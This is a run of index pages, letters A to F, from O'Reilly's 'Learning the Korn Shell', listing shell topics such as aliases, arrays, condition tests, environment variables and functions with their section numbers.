The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

a.out
5.1.3.2. About C Compilers
6.1.3.1. More About C Compilers
A/UX : 1. Korn Shell Basics
Ada
4.1.1. Functions
4.3.1. Syntax of String Operators
adb : 9. Debugging Shell Programs
ADM-3a terminal : 2.4.4. Moving Around in the History File
AIX
1. Korn Shell Basics
1.9.5. Control Keys
algebraic notation
8.5.4. Coroutines with Two-way Pipes
8.6.2. Nested Subshells
aliases
Summary of Korn Shell Features
2.3.7. Keyboard Shortcuts with Aliases
2.4.7. Miscellaneous Commands
3. Customizing Your Environment
3.2. Aliases
7.1. I/O Redirectors
A.1. The Bourne Shell
on arguments of command line : 3.2. Aliases
defining : 3.2. Aliases
lack of system-wide : 10.2.3. Types of Global Customization
order of precedence in command lookup
4.1.1. Functions
7.3. Command-line Processing
output of alias command in next release : A.7. The Future of the Korn Shell
preventing lookup as : 5.1.1. Exit Status and Return
recursive
3.2. Aliases
7.3. Command-line Processing
removing (unalias) : 3.2.1. Tracked Aliases
showing : 3.2.1. Tracked Aliases
tracked
3.2.1. Tracked Aliases
3.4.2.6. PATH and Tracked Aliases
10.2.3. Types of Global Customization
defining : 3.2.1. Tracked Aliases
in next release : A.7. The Future of the Korn Shell
as protection against Trojan horses
10.3.3. Tracked Aliases
10.3.4. Privileged Mode
showing
3.2.1. Tracked Aliases
10.3.3. Tracked Aliases
using
as mnemonic : 3.2. Aliases
as shorthand : 3.2. Aliases
for correcting command typos : 3.2. Aliases
ANSI : A.4. pdksh
Apple Macintosh : Preface
Multifinder : 8. Process Handling
OS System 7 : 8. Process Handling
OS Version 6 : 8. Process Handling
arithmetic expressions
6.1.3. getopts
6.2. Integer Variables and Arithmetic
6.3.3. String Formatting Options
A.2. The IEEE 1003.2 POSIX Shell Standard
bases of numbers : 6.2. Integer Variables and Arithmetic
bash syntax : A.5. bash
condition tests : (see condition tests, arithmetic)
features in next release : A.7. The Future of the Korn Shell
floating point (real number) : A.7. The Future of the Korn Shell
MKS Toolkit shell syntax : A.6. Workalikes on PC Platforms
operators : 6.2. Integer Variables and Arithmetic
assignment form : 6.2. Integer Variables and Arithmetic
truth values of relational : 6.2. Integer Variables and Arithmetic
order of evaluation in command-line processing : 7.3. Command-line Processing
arrays
6.3. Arrays
6.3.3. String Formatting Options
A.1. The Bourne Shell
A.4. pdksh
# (size of) : 6.3. Arrays
assigning values to : 6.3. Arrays
assignment with set -A
6.3. Arrays
6.3.3. String Formatting Options
associative : A.7. The Future of the Korn Shell
extracting values from : 6.3. Arrays
features in next release : A.7. The Future of the Korn Shell
initializing
6.3. Arrays
6.3.3. String Formatting Options
preserving whitespace in : 6.3. Arrays
value of entire : 6.3. Arrays
ASCII : 1.6.2. Filenames and Wildcards
assembler : (see assembly language)
assembly language : 5.1.3.2. About C Compilers
AT&T
1.3.1. The Korn Shell
A.7. The Future of the Korn Shell
AT&T Bell Laboratories : 1.3.1. The Korn Shell
autoload
4.1.1.1. Autoloaded functions
10.2.3. Types of Global Customization
(see also functions, autoloading)
awk
Summary of Korn Shell Features
4.3.2. Patterns and Regular Expressions
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
7.3.1. Quoting
10.1. Installing the Korn Shell as the Standard Shell
A.6. Workalikes on PC Platforms
using instead of cut : 4.4. Command Substitution
using instead of pr -n : 9.2.3.3. Breakpoints

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

background jobs
1.8. Background Jobs
4.1. Shell Scripts and Functions
8. Process Handling
8.1. Process IDs and Job Numbers
! variable (process ID of most recent) : 8.4.2. Process ID Variables and Temporary Files
creating : 8.2. Job Control
lack of in MS-DOS : A.6. Workalikes on PC Platforms
saving standard output and error of : 7.1.2. File Descriptors
with two-way pipes : 8.5.4. Coroutines with Two-way Pipes
Backus-Naur Form (BNF) : A.4. pdksh
basename : 4.3.3. Pattern-matching Operators
bash
1.4. Getting the Korn Shell
A. Related Shells
A.5. bash
obtaining from Internet : A.5. bash
bc : 8.5.4. Coroutines with Two-way Pipes
bg
8.2. Job Control
8.2.2. Suspending a Job
A.1. The Bourne Shell
biff : 3.4.2.2. Mail Variables
/bin
3.4.2.5. Command Search Path
10.3.2. A System Break-in Scenario
BITFTP : C.3. BITFTP
Bourne shell
Preface
Summary of Korn Shell Features
1.3. History of UNIX Shells
1.3.1. The Korn Shell
1.3.2. Features of the Korn Shell
1.4. Getting the Korn Shell
2. Command-line Editing
3.3. Options
4.1.1. Functions
4.2. Shell Variables
4.3.2. Patterns and Regular Expressions
4.4. Command Substitution
5.1.3.1. String comparisons
5.4. select
6.1.3. getopts
6.2. Integer Variables and Arithmetic
7.1. I/O Redirectors
7.1.2. File Descriptors
8.5.4. Coroutines with Two-way Pipes
9. Debugging Shell Programs
10.1. Installing the Korn Shell as the Standard Shell
A. Related Shells
A.1. The Bourne Shell
A.2. The IEEE 1003.2 POSIX Shell Standard
A.4. pdksh
A.5. bash
Bourne, Steven : 1.3. History of UNIX Shells
break : 5.4. select
BSD
1.3. History of UNIX Shells
1.9.5. Control Keys
2.3.4. Moving Around in the History File
2.3.6. Miscellaneous Commands
2.4. Vi Editing Mode
3.4.2.2. Mail Variables
built-in commands
ability to add new in next release : A.7. The Future of the Korn Shell
online help for in next release : A.7. The Future of the Korn Shell
order of precedence in command lookup
4.1.1. Functions
7.3. Command-line Processing
built-in variables
3.4. Shell Variables
(see also environment variables)
# : 4.2.1. Positional Parameters
$ : 2.2. The History File
* : 4.2.1. Positional Parameters
as default list in for statement : 5.2. for
as default list in select statement : 5.4. select
* and # in functions : 4.2.1.1. Positional parameters in functions
?
5.1.1. Exit Status and Return
9.1.2.2. ERR
9.2.5. Exercises
@ : 4.2.1. Positional Parameters
CDPATH : 3.4.3. Directory Search Path
COLUMNS
3.4.2.1. Editing mode variables
7.2.2.3. Code blocks
EDITOR
3.4.2.1. Editing mode variables
3.5.1. Environment Variables
ERRNO, obsolescence in next release : A.7. The Future of the Korn Shell
FCEDIT : 3.4.2.1. Editing mode variables
FPATH
4.1.1.1. Autoloaded functions
10.2.3. Types of Global Customization
LINENO
9.1.1. Set Options
9.1.2.2. ERR
9.2.2. The Preamble
LINES : 3.4.2.1. Editing mode variables
list of those not supported in Bourne shell : A.1. The Bourne Shell
list of those not supported in pdksh : A.4. pdksh
MAILCHECK : 3.4.2.2. Mail Variables
MAILPATH : 3.4.2.5. Command Search Path
naming convention : 3.4. Shell Variables
OLDPWD
3.4.3.1. Miscellaneous Variables
4.5. Advanced Examples: pushd and popd
5.1.1. Exit Status and Return
7.3. Command-line Processing
OPTARG : 6.1.3. getopts
OPTIND : 6.1.3. getopts
PID : A.6. Workalikes on PC Platforms
positional parameters : (see positional parameters)
PS1
3.4.2.3. Prompting Variables
4.4. Command Substitution
PS2 : 3.4.2.3. Prompting Variables
PS3
3.4.2.3. Prompting Variables
5.4. select
command substitution in next release : A.7. The Future of the Korn Shell
PS4
3.4.2.3. Prompting Variables
9.1.1. Set Options
in kshdb : 9.2.3. Debugger Functions
RANDOM : 9.1.2.1. EXIT
REPLY
in read statement : 7.2.2. read
in select statement
5.4. select
6.3. Arrays
SECONDS : 3.4.3.1. Miscellaneous Variables
VISUAL : 3.4.2.1. Editing mode variables

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

C compilers
4.3.3. Pattern-matching Operators
5.1.3.1. String comparisons
5.3. case
6.1.3. getopts
optimization : 6.1.3.1. More About C Compilers
options : 6.1.3.1. More About C Compilers
as pipelines : 7.3.2.1. The C Compiler as Pipeline
C programming language
1.3. History of UNIX Shells
1.6.2. Filenames and Wildcards
4. Basic Shell Programming
4.1. Shell Scripts and Functions
4.1.1. Functions
4.3.2.1. Regular expression basics
5.1.1. Exit Status and Return
5.1.1.1. Return
5.1.3.2. About C Compilers
5.2. for
5.3. case
5.4. select
5.5. while and until
6. Command-line Options and Typed Variables
6.1.3. getopts
6.2. Integer Variables and Arithmetic
6.2.1. Arithmetic Conditionals
7.2.1. print
7.2.1.1. print escape sequences
7.2.2. read
7.2.2.3. Code blocks
7.3.2.1. The C Compiler as Pipeline
9. Debugging Shell Programs
A.7. The Future of the Korn Shell
C shell
Preface
Intended Audience
1.3. History of UNIX Shells
1.3.2. Features of the Korn Shell
1.4. Getting the Korn Shell
2.3.5. Filename Completion and Expansion
3.2. Aliases
3.4.2.3. Prompting Variables
3.5.2. The Environment File
4.1.1. Functions
4.2. Shell Variables
4.4. Command Substitution
4.5. Advanced Examples: pushd and popd
5.4. select
6.2.2. Arithmetic Variables and Assignment
7.1.2. File Descriptors
10.2.3. Types of Global Customization
10.3.2. A System Break-in Scenario
10.3.4. Privileged Mode
A.4. pdksh
A.5. bash
history mechanism
Summary of Korn Shell Features
2. Command-line Editing
2.1. Enabling Command-line Editing
2.5. The fc Command
list of features in Korn shell : Summary of Korn Shell Features
which : 3.2. Aliases
C++ programming language
7.3.2.1. The C Compiler as Pipeline
9. Debugging Shell Programs
case
5.3. case
6.1.1. shift
6.3. Arrays
7.2.2.1. Reading lines from files
9.2.3.1. Commands
double-semicolons : 5.4. select
redirecting I/O to : 7.2.2.2. I/O Redirection and multiple commands
syntax : 5.3. case
cat
1.7.1. Standard I/O
1.7.2. I/O Redirection
7.1. I/O Redirectors
8.4.1. Traps and Functions
9.2.1.1. The driver script
cd
1.6.1.3. Changing working directories
7.3.1. Quoting
10.1. Installing the Korn Shell as the Standard Shell
A.1. The Bourne Shell
- (to previous directory)
1.6.1.3. Changing working directories
4.5. Advanced Examples: pushd and popd
examples : 1.6.1.3. Changing working directories
inoperative in restricted shell : 10.3.1. Restricted Shell
substitution form : 1.6.1.3. Changing working directories
CD-ROM : 5.1.3.2. About C Compilers
CDPATH : 3.4.3. Directory Search Path
chapter summary : Chapter Summary
chmod
4.1. Shell Scripts and Functions
10.2.1. umask
chsh : 1.4. Getting the Korn Shell
code blocks
7.2.2.3. Code blocks
8.6.2. Nested Subshells
compared to nested subshells : 8.6.2. Nested Subshells
piping outout to : 7.2.2.3. Code blocks
POSIX shell syntax : A.2. The IEEE 1003.2 POSIX Shell Standard
redirecting standard I/O to : 7.2.2.3. Code blocks
COLUMNS
3.4.2.1. Editing mode variables
7.2.2.3. Code blocks
command substitution
2.1. Enabling Command-line Editing
4.4. Command Substitution
A.1. The Bourne Shell
A.2. The IEEE 1003.2 POSIX Shell Standard
examples : 4.4. Command Substitution
I/O redirection within
4.4. Command Substitution
A.2. The IEEE 1003.2 POSIX Shell Standard
order in command-line processing : 7.3. Command-line Processing
shown in xtrace output : 9.1.1. Set Options
syntax : 4.4. Command Substitution
command-line options : 6.1. Command-line Options
list of : B.1. Invocation Options
command-line processing : 7.3. Command-line Processing
effect of eval on : 7.3.2. eval
effect of quoting on : 7.3.1. Quoting
example : 7.3. Command-line Processing
inside condition tests : 5.1.3. Condition Tests
order of steps in : 7.3. Command-line Processing
order of steps in POSIX shell : A.2. The IEEE 1003.2 POSIX Shell Standard
commands
built-in command in next release : A.7. The Future of the Korn Shell
list of : B.2. Built-in Commands and Keywords
vi : B.8. Vi Control Mode Commands
comments in scripts : 4.3.1. Syntax of String Operators
compound statements : 7.2.2.2. I/O Redirection and multiple commands
redirecting I/O to : 7.2.2.2. I/O Redirection and multiple commands
compress
1.8. Background Jobs
1.8.1. Background I/O
condition tests
5.1.3. Condition Tests
6.2. Integer Variables and Arithmetic
A.1. The Bourne Shell
A.2. The IEEE 1003.2 POSIX Shell Standard
A.4. pdksh
A.5. bash
arithmetic
6.2.1. Arithmetic Conditionals
6.2.2. Arithmetic Variables and Assignment
A.2. The IEEE 1003.2 POSIX Shell Standard
integer values as truth values
6.2.1. Arithmetic Conditionals
9.2.3.5. Execution tracing
file attribute operators : 5.1.3.3. File Attribute Checking
-a
5.1.3.3. File Attribute Checking
5.2. for
A.7. The Future of the Korn Shell
-d
5.1.3.3. File Attribute Checking
5.2. for
5.5. while and until
-f
5.1.3.3. File Attribute Checking
5.2. for
-G : 5.1.3.3. File Attribute Checking
-nt
5.1.3.3. File Attribute Checking
7.3.2. eval
-O
5.1.3.3. File Attribute Checking
5.2. for
-ot : 5.1.3.3. File Attribute Checking
-r
5.1.3.3. File Attribute Checking
5.2. for
-s : 5.1.3.3. File Attribute Checking
-w
5.1.3.3. File Attribute Checking
5.2. for
-x
5.1.3.3. File Attribute Checking
5.2. for
5.5. while and until
function of : 5.1.3. Condition Tests
integer comparison operators : 5.1.4. Integer Conditionals
-eq : 5.1.4. Integer Conditionals
-ge : 5.1.4. Integer Conditionals
-gt : 5.1.4. Integer Conditionals
-le : 5.1.4. Integer Conditionals
-lt : 5.1.4. Integer Conditionals
-ne : 5.1.4. Integer Conditionals
obsolescence in next release : A.7. The Future of the Korn Shell
old syntax
5.1.3. Condition Tests
5.1.3.1. String comparisons
A.1. The Bourne Shell
A.4. pdksh
A.5. bash
A.6. Workalikes on PC Platforms
processing of text inside : 5.1.3. Condition Tests
string comparison operators : 5.1.3.1. String comparisons
!= : 5.1.3.1. String comparisons
> : 5.1.3.1. String comparisons
< : 5.1.3.1. String comparisons
-n
5.1.3.1. String comparisons
5.4. select
5.5. while and until
-z : 5.1.3.1. String comparisons
=
5.1.3.1. String comparisons
7.2.2.3. Code blocks
9.2.3.3. Breakpoints
A.7. The Future of the Korn Shell
string vs. integer comparisons : 5.1.4. Integer Conditionals
supported in MKS Toolkit shell : A.6. Workalikes on PC Platforms
in while and until statements : 5.5. while and until
conditionals : (see if)
constants : 6.3.4. Type and Attribute Options
control keys : 1.9.5. Control Keys
clashes with editing modes : 2. Command-line Editing
CTRL-\ : 1.9.5. Control Keys
CTRL-C : 1.9.5. Control Keys
CTRL-D
1.4. Getting the Korn Shell
1.5. Interactive Shell Use
1.9.5. Control Keys
5.4. select
CTRL-H : 1.9.5. Control Keys
CTRL-M : 1.9.5. Control Keys
CTRL-Q : 1.9.5. Control Keys
CTRL-S : 1.9.5. Control Keys
CTRL-U : 1.9.5. Control Keys
DEL
1.9.5. Control Keys
2.3.1. Basic Commands
conventions, typographical : Conventions Used in This Handbook
core dumps
8.3.1. Control-key Signals
8.4. trap
8.6.2. Nested Subshells
10.2.2. ulimit
coroutines
8. Process Handling
8.5. Coroutines
A.1. The Bourne Shell
A.4. pdksh
definition : 8.5. Coroutines
on multiple-CPU computers : 8.5.3. Parallelization
performance issues : 8.5.2. Advantages and Disadvantages of Coroutines
pipelines as example of : 8.5. Coroutines
two-way pipes : (see two-way pipes)
cp
1.7.2. I/O Redirection
8.5.3. Parallelization
crontab : 2.2. The History File
CTRL-\
1.9.5. Control Keys
8.3.1. Control-key Signals
8.6.2. Nested Subshells
CTRL-C
1.9.5. Control Keys
7.1. I/O Redirectors
8.2.2. Suspending a Job
8.3. Signals
8.3.1. Control-key Signals
8.3.2. kill
8.4. trap
8.4.2. Process ID Variables and Temporary Files
8.6.2. Nested Subshells
9.1.2.1. EXIT
CTRL-D
1.4. Getting the Korn Shell
1.5. Interactive Shell Use
1.9.5. Control Keys
5.4. select
7.1. I/O Redirectors
8.4.1. Traps and Functions
CTRL-H : 1.9.5. Control Keys
CTRL-M : 1.9.5. Control Keys
CTRL-Q : 1.9.5. Control Keys
CTRL-S : 1.9.5. Control Keys
CTRL-U : 1.9.5. Control Keys
CTRL-Z
8.2. Job Control
8.2.2. Suspending a Job
8.3. Signals
8.3.1. Control-key Signals
cut
1.7.1. Standard I/O
1.7.3. Pipelines
4.4. Command Substitution
5.2. for
7.1.1. Here-documents
7.2.2. read
7.3.1. Quoting
9.1.1. Set Options
10.1. Installing the Korn Shell as the Standard Shell
-c (extract columns) : 4.4. Command Substitution
-d (field delimiter)
4.4. Command Substitution
6.1.2. Options with Arguments
using awk instead of : 4.4. Command Substitution

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

date
1.7.2. I/O Redirection
6.2. Integer Variables and Arithmetic
dc
8.5.4. Coroutines with Two-way Pipes
8.6.2. Nested Subshells
debuggers
6.1.3.1. More About C Compilers
9. Debugging Shell Programs
dbx : 10.2.2. ulimit
essential features : 9.2. A Korn Shell Debugger
sdb : 10.2.2. ulimit
debugging
core dumps : 10.2.2. ulimit
shell code
Summary of Korn Shell Features
9.1. Basic Debugging Aids
9.2. A Korn Shell Debugger
(see also kshdb)
basics : 9.1. Basic Debugging Aids
options : (see options, noexec, verbose, xtrace)
with print : 9.1. Basic Debugging Aids
DEL
1.9.5. Control Keys
2.3.1. Basic Commands
/dev/null
5.2. for
6.1.3. getopts
10.1. Installing the Korn Shell as the Standard Shell
diff
1.8.1. Background I/O
5.1.1. Exit Status and Return
directories
. : 1.6.1.3. Changing working directories
.. : 1.6.1.3. Changing working directories
home (login) : 1.6.1.1. The working directory
dirname : 4.3.3. Pattern-matching Operators

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

EBCDIC : 1.6.2. Filenames and Wildcards
echo
Summary of Korn Shell Features
1.4. Getting the Korn Shell
3.4. Shell Variables
7.2.1. print
A.1. The Bourne Shell
difference in versions of : 7.2.1. print
ed
3.5.1. Environment Variables
4.3.2.2. Korn shell versus awk/egrep regular expressions
7.1.1. Here-documents
9. Debugging Shell Programs
EDITOR
3.4.2.1. Editing mode variables
3.5.1. Environment Variables
egrep
4.3.2. Patterns and Regular Expressions
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
elif : (see if)
emacs editor
2. Command-line Editing
2.3. Emacs Editing Mode
2.3.1. Basic Commands
2.3.5. Filename Completion and Expansion
2.3.6. Miscellaneous Commands
2.4.6. Filename Completion
2.6. Finger Habits
3.1. The .profile File
3.4.2.4. Terminal Types
3.5.1. Environment Variables
4.3.2. Patterns and Regular Expressions
4.3.2.1. Regular expression basics
4.4. Command Substitution
9. Debugging Shell Programs
A.4. pdksh
commands : B.7. Emacs Mode Commands
GNU emacs
2.3.6. Miscellaneous Commands
3.1. The .profile File
A.5. bash
Gosling (Unipress) emacs : 2.3.6. Miscellaneous Commands
search commands : 2.3.4. Moving Around in the History File
emacs-mode
Korn Shell Versions
Summary of Korn Shell Features
2.3. Emacs Editing Mode
7.2.1.2. Options to print
10.2.3. Types of Global Customization
A.4. pdksh
basic commands : 2.3.1. Basic Commands
case-changing commands : 2.3.6. Miscellaneous Commands
enabling : 2.1. Enabling Command-line Editing
exchanging point and mark : 2.3.6. Miscellaneous Commands
filename completion : 2.3.5. Filename Completion and Expansion
filename expansion : 2.3.5. Filename Completion and Expansion
history file commands : 2.3.4. Moving Around in the History File
key customization in next release : A.7. The Future of the Korn Shell
keyboard shortcuts with aliases : 2.3.7. Keyboard Shortcuts with Aliases
line commands : 2.3.3. Line Commands
mark : 2.3.6. Miscellaneous Commands
point (dot) : 2.3.1. Basic Commands
repeat counts : 2.3.6. Miscellaneous Commands
searching the history file : 2.3.4. Moving Around in the History File
terminal requirements : 2.3.1. Basic Commands
transpose characters command : 2.3.6. Miscellaneous Commands
useful command subset : 2.6. Finger Habits
word commands : 2.3.2. Word Commands
in workalike shells : A.6. Workalikes on PC Platforms
email : (see mail)
ENV
3.5.2. The Environment File
10.2.3. Types of Global Customization
A.1. The Bourne Shell
command subsitution in next release : A.7. The Future of the Korn Shell
in privileged mode : 10.3.4. Privileged Mode
environment files : 3.5.2. The Environment File
compared to .profile : 3.5.2. The Environment File
creating : 3.5.2. The Environment File
customization in next release : A.7. The Future of the Korn Shell
lack of system-wide : 10.2.3. Types of Global Customization
in : 10.3.4. Privileged Mode
security holes in : 10.3.2. A System Break-in Scenario
in subshells : 8.6.1. Subshell Inheritance
environment variables
3.4. Shell Variables
(see also built-in variables)
about : 3.5.1. Environment Variables
creating : 3.5.1. Environment Variables
ENV
3.5.2. The Environment File
10.2.3. Types of Global Customization
A.1. The Bourne Shell
command substitution in next release : A.7. The Future of the Korn Shell
in privileged mode : 10.3.4. Privileged Mode
FCEDIT : 2.5. The fc Command
HISTFILE
2.2. The History File
3.4.2.1. Editing mode variables
3.5.1. Environment Variables
HISTSIZE : 2.2. The History File
HOME
3.4.3.1. Miscellaneous Variables
3.5.1. Environment Variables
7.3. Command-line Processing
IFS
4.2.1. Positional Parameters
4.2.1.1. Positional parameters in functions
7.2.2. read
7.3. Command-line Processing
role in command-line processing : 7.3. Command-line Processing
inheritance by subshells : 8.6.1. Subshell Inheritance
LOGNAME
3.4.2.3. Prompting Variables
3.5.1. Environment Variables
MAIL
3.4.2.2. Mail Variables
3.5.1. Environment Variables
MAILPATH
3.4.2.2. Mail Variables
3.5.1. Environment Variables
4.5. Advanced Examples: pushd and popd
A.6. Workalikes on PC Platforms
PATH
3.4.2.5. Command Search Path
3.5.1. Environment Variables
4.1. Shell Scripts and Functions
4.5. Advanced Examples: pushd and popd
5.5. while and until
6.2.2. Arithmetic Variables and Assignment
6.3.4. Type and Attribute Options
7.2.1.2. Options to print
7.3. Command-line Processing
10.1. Installing the Korn Shell as the Standard Shell
10.2.3. Types of Global Customization
10.3.4. Privileged Mode
A.1. The Bourne Shell
A.6. Workalikes on PC Platforms
in restricted shell : 10.3.1. Restricted Shell
security problem with
3.4.2.5. Command Search Path
10.3.2. A System Break-in Scenario
PS1
7.3.1. Quoting
10.2.3. Types of Global Customization
A.5. bash
command substitution in next release : A.7. The Future of the Korn Shell
PWD
3.4.2.3. Prompting Variables
3.4.3.1. Miscellaneous Variables
3.5.1. Environment Variables
5.1.1. Exit Status and Return
7.3. Command-line Processing
read-only variables in restricted shell : 10.3.1. Restricted Shell
SHELL
3.4.3.1. Miscellaneous Variables
3.5.1. Environment Variables
A.1. The Bourne Shell
showing : 3.5.1. Environment Variables
TERM
3.4.2.4. Terminal Types
3.5.1. Environment Variables
5.3. case
5.4. select
6.3. Arrays
7.2.2.1. Reading lines from files
10.2.3. Types of Global Customization
TMOUT : 10.2.3. Types of Global Customization
visibility in subshells : 4.1. Shell Scripts and Functions
VISUAL : 2.1. Enabling Command-line Editing
environments : 3. Customizing Your Environment
ERRNO, obsolescence in next release : A.7. The Future of the Korn Shell
/etc/hosts : 7.2.2.3. Code blocks
/etc/passwd
1.7.3. Pipelines
7.1.1. Here-documents
7.3.1. Quoting
7.3.2.1. The C Compiler as Pipeline
10.3.1. Restricted Shell
/etc/profile
5.3. case
5.4. select
6.3.4. Type and Attribute Options
7.2.2.1. Reading lines from files
10.2. Environment Customization
10.2.3. Types of Global Customization
/etc/suid_profile : 10.3.4. Privileged Mode
/etc/termcap : 3.4.2.4. Terminal Types
eval : 7.3.2. eval
for constructing pipelines
7.3.2. eval
7.3.2.1. The C Compiler as Pipeline
role in command-line processing : 7.3.2. eval
exec : 9.2.1.2. exec
with I/O redirectors : 9.2.1.2. exec
executable files : (see files, executable)
exit
1.4. Getting the Korn Shell
1.5. Interactive Shell Use
5.1.1.1. Return
8.4.2. Process ID Variables and Temporary Files
exit status
5.1.1. Exit Status and Return
5.1.3.1. String comparisons
9.2.3.4. Break conditions
9.2.5. Exercises
conventional values : 5.1.1. Exit Status and Return
in job status messages : 8.1. Process IDs and Job Numbers
logical combinations : 5.1.2. Combinations of Exit Statuses
trapping when non-0 : 9.1.2.2. ERR
export
3.5.1. Environment Variables
4.1. Shell Scripts and Functions
6.3.4. Type and Attribute Options
10.2.3. Types of Global Customization
expr
Summary of Korn Shell Features
6.2. Integer Variables and Arithmetic
A.1. The Bourne Shell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

fake signals : 9.1.2. Fake Signals
DEBUG
9.1.2. Fake Signals
9.1.2.3. DEBUG
9.2.3.1. Commands
9.2.3.6. Limitations
A.1. The Bourne Shell
A.5. bash
A.6. Workalikes on PC Platforms
ERR
9.1.2. Fake Signals
9.1.2.2. ERR
A.1. The Bourne Shell
A.4. pdksh
A.6. Workalikes on PC Platforms
EXIT
9.1.2. Fake Signals
9.2.2. The Preamble
9.2.3.6. Limitations
A.1. The Bourne Shell
A.4. pdksh
A.6. Workalikes on PC Platforms
in next release : A.7. The Future of the Korn Shell
trapping in scripts being debugged with kshdb : 9.2.3.6. Limitations
fc
2. Command-line Editing
2.1. Enabling Command-line Editing
2.5. The fc Command
-e (edit) : 2.5. The fc Command
-l (list previous commands) : 2.5. The fc Command
obsolescence in next release : A.7. The Future of the Korn Shell
FCEDIT
2.5. The fc Command
3.4.2.1. Editing mode variables
fg
8.2. Job Control
8.2.1. Foreground and Background
8.2.2. Suspending a Job
A.1. The Bourne Shell
to resume suspended jobs : 8.2.2. Suspending a Job
fi : (see if)
file (command)
5.5. while and until
9.2.5. Exercises
10.1. Installing the Korn Shell as the Standard Shell
file descriptors
7.1. I/O Redirectors
7.1.2. File Descriptors
I/O redirection to/from
7.1. I/O Redirectors
7.1.2. File Descriptors
7.2.2.4. Reading User Input
of standard I/O : 7.1.2. File Descriptors
files
environment : (see environment files)
executable
3.4.2.5. Command Search Path
5.1.3.2. About C Compilers
5.5. while and until
a.out : 5.1.3.2. About C Compilers
order of precedence in command lookup
4.1.1. Functions
7.3. Command-line Processing
modification times : 7.3.2. eval
permissions
4.1. Shell Scripts and Functions
10.2.1. umask
A.6. Workalikes on PC Platforms
octal notation : 10.2.1. umask
suid : (see suid shell scripts)
temporary (names for) : 8.4.2. Process ID Variables and Temporary Files
find : 1.9.2. Backslash-escaping
finding commands
order of precedence
4.1.1. Functions
7.3. Command-line Processing
control over in next release : A.7. The Future of the Korn Shell
in next release : A.7. The Future of the Korn Shell
PATH : 3.4.2.5. Command Search Path
tracked aliases : 3.4.2.6. PATH and Tracked Aliases
finger : 5.2. for
flow control
general description : 5. Flow Control
summary of constructs : 5. Flow Control
for
5.2. for
5.3. case
6.3.3. String Formatting Options
comparison to for statement in C and Pascal : 5.2. for
lists of names in : 5.2. for
in next release : A.7. The Future of the Korn Shell
overview : 5.2. for
syntax : 5.2. for
Forsyth, Charles : A.4. pdksh
FORTRAN
5.1.4. Integer Conditionals
5.5. while and until
FPATH
4.1.1.1. Autoloaded functions
10.2.3. Types of Global Customization
Free Software Foundation (FSF) : A.5. bash
from : 3.5.2. The Environment File
FTP
9.2. A Korn Shell Debugger
A.5. bash
full pathnames : 1.6.1. Directories
functions
Summary of Korn Shell Features
A.1. The Bourne Shell
A.5. bash
advantages over scripts : 4.1.1. Functions
autoloading
4.1.1.1. Autoloaded functions
6.3.5. Function Options
10.2.3. Types of Global Customization
definition : 4.1.1. Functions
deleting : 4.1.1. Functions
differences between scripts and : 4.1.1. Functions
exporting : 6.3.5. Function Options
listing
4.1.1. Functions
6.3.5. Function Options
local variables in : 6.3.2. Local Variables in Functions
in next release : A.7. The Future of the Korn Shell
order of precedence in command lookup
4.1.1. Functions
7.3. Command-line Processing
POSIX shell syntax : A.2. The IEEE 1003.2 POSIX Shell Standard
preventing lookup as : 5.1.1. Exit Status and Return
recursive : 8.6.2. Nested Subshells
running : 4.1.1. Functions
in SunOS Bourne shell : A.1. The Bourne Shell
syntax : 4.1.1. Functions
system-wide : 10.2.3. Types of Global Customization
tracing execution of
6.3.5. Function Options
9.1.1. Set Options
in workalike shells : A.6. Workalikes on PC Platforms

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

